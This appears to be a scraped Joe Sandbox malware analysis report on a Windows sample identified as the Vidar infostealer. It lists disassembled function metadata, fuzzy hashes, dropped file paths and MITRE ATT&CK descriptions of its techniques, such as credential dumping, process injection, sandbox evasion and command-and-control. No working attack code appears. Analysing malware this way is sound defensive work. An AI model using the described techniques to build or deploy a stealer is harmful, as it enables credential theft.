API String ID: 3061335427-0
Opcode ID: 6f51a42cb0a801bfe551c920bdf2e57b0e6806818c65c35996cd608fde9965e3
Instruction ID: 7f2fddaa003840db879fd521ea0f07be0152236aba7f9c852f9d594c3829ee2f
Opcode Fuzzy Hash: 6f51a42cb0a801bfe551c920bdf2e57b0e6806818c65c35996cd608fde9965e3
Instruction Fuzzy Hash: 5651D4F1A092168FDB14CF28CA8475EB7B5FF49305F59852EC856A7B11D731B804CBA1

Function 6C71DF90 Relevance: 5.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C70FF2A), ref: 6C71DFFD

Part of subcall function 6C7190E0: free.MOZGLUE(?,00000000,?,?,6C71DEDB), ref: 6C7190FF
Part of subcall function 6C7190E0: free.MOZGLUE(?,00000000,?,?,6C71DEDB), ref: 6C719108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C70FF2A), ref: 6C71E04A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C70FF2A), ref: 6C71E0C0
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,6C70FF2A), ref: 6C71E0FE

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 7933647992c59db80bca6eca4dafb3ed924e47acccffc1ad1b4d2d06149fa5bd
Instruction ID: 1fdf80d256ddfef3e7bc22570dc71b3c5f312dff79af4ccbcf341b1c885693d0
Opcode Fuzzy Hash: 7933647992c59db80bca6eca4dafb3ed924e47acccffc1ad1b4d2d06149fa5bd
Instruction Fuzzy Hash: 7D41D4B160820A8FEB14CF68CA8435E73B2BB45308F2D4539D556DBF41E732E905CBA2

Function 6C716E50 Relevance: 5.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000018), ref: 6C716EAB
memcpy.VCRUNTIME140(00000000,00000018,-000000A0), ref: 6C716EFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C716F1E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C716F5C

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: 499b74ea4c0f937561fbd6046930633301652a75b16e8ba6d92ad0ee87836f0f
Instruction ID: 742806e055a1f3dcb15149b05868d4f11460ead6f41dc9db0ac86849fcfbf4dc
Opcode Fuzzy Hash: 499b74ea4c0f937561fbd6046930633301652a75b16e8ba6d92ad0ee87836f0f
Instruction Fuzzy Hash: C031E771A1460A8FDB04CF2CCE406AA73EDFB84305F548239D41AC7A61EB31E659C7A0

Function 6C72B580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6C6D0A4D), ref: 6C72B5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6C6D0A4D), ref: 6C72B623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6C6D0A4D), ref: 6C72B66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6C6D0A4D), ref: 6C72B67F

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: e906c06632f40bb3ce69b36a802506ecd3f6501474bca7b08db6c27144fb0aed
Instruction ID: 9f3990d580deb3525ab1da07e375ef1d601240b01ba6c1df7a66bd5f5a2a8873
Opcode Fuzzy Hash: e906c06632f40bb3ce69b36a802506ecd3f6501474bca7b08db6c27144fb0aed
Instruction Fuzzy Hash: C231F471A002168FDB10DF68C944A5ABBB5FF80305F1A857AC8179B211DB35F915CBA1

Function 6C6FF5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6C6FF611
memcpy.VCRUNTIME140(?,?,?), ref: 6C6FF623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6C6FF652
memcpy.VCRUNTIME140(?,?,?), ref: 6C6FF668

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: 5d8f98b3ecbf1bda9c0c7852c1e9f49d0163ae472f56b4525ef4823fc38e83fc
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: A1316F71A00224AFCB14CF2DCCC4A9F77F6EB94354B148538FA598BB05D631E945CB95

Function 6C6DB940 Relevance: 5.1, APIs: 4, Instructions: 64COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6C6DB96F
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020), ref: 6C6DB99A
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C6DB9B0
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6DB9B9

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: memcpy$freemalloc
String ID:
API String ID: 3313557100-0
Opcode ID: ed109c27f1ca70179d5eeceadf1b9e57eef4a3adfb2f378d8b895fde0a29aed7
Instruction ID: b17e86e85fd9cca8e13f9fb80b29c13965112f525bb24a8dba04e4ae02719fa8
Opcode Fuzzy Hash: ed109c27f1ca70179d5eeceadf1b9e57eef4a3adfb2f378d8b895fde0a29aed7
Instruction Fuzzy Hash: 1611ACB1A002159FCB04DF69DC848ABB7F8BF98304B14853AE91AD7301E731A9098AA1

Function 6C7126B0 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C7126C1
free.MOZGLUE(?), ref: 6C7126E4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C7126FF
free.MOZGLUE ref: 6C71270D

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 4f6dc11650bb138c8c710571b58d91105961ae96d31e2712763e930c73edeeb3
Instruction ID: d12ae484c45080c8806240e31b7bf2cdba3584a77214820ea1a8bb66f3a39d0d
Opcode Fuzzy Hash: 4f6dc11650bb138c8c710571b58d91105961ae96d31e2712763e930c73edeeb3
Instruction Fuzzy Hash: D9F02DB27052005BE7109E18DC8495B73ADEF5731DB180035EA16D3F12E332F919C7A5

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Vidar

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\GHIJJEGDBFII\AEHDAK

C:\ProgramData\GHIJJEGDBFII\CBFIJE

C:\ProgramData\GHIJJEGDBFII\CBFIJE-shm

C:\ProgramData\GHIJJEGDBFII\CFHCGH

C:\ProgramData\GHIJJEGDBFII\GCBFBG

C:\ProgramData\GHIJJEGDBFII\GCBFBG-shm

C:\ProgramData\GHIJJEGDBFII\GDAAKF

C:\ProgramData\GHIJJEGDBFII\GHIJJE

C:\ProgramData\GHIJJEGDBFII\HDAFII

C:\ProgramData\GHIJJEGDBFII\IIDHJD

C:\ProgramData\GHIJJEGDBFII\JEGHDA

C:\ProgramData\GHIJJEGDBFII\freebl3.dll

Windows Analysis Report
file.exe

Function 02CD018D Relevance: 26.5, APIs: 11, Strings: 4, Instructions: 282
threadinjectionmemoryCOMMON

Function 006E22BA Relevance: 9.1, APIs: 6, Instructions: 128
threadCOMMON

Function 006E21EF Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 70
librarymemoryloaderCOMMON

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre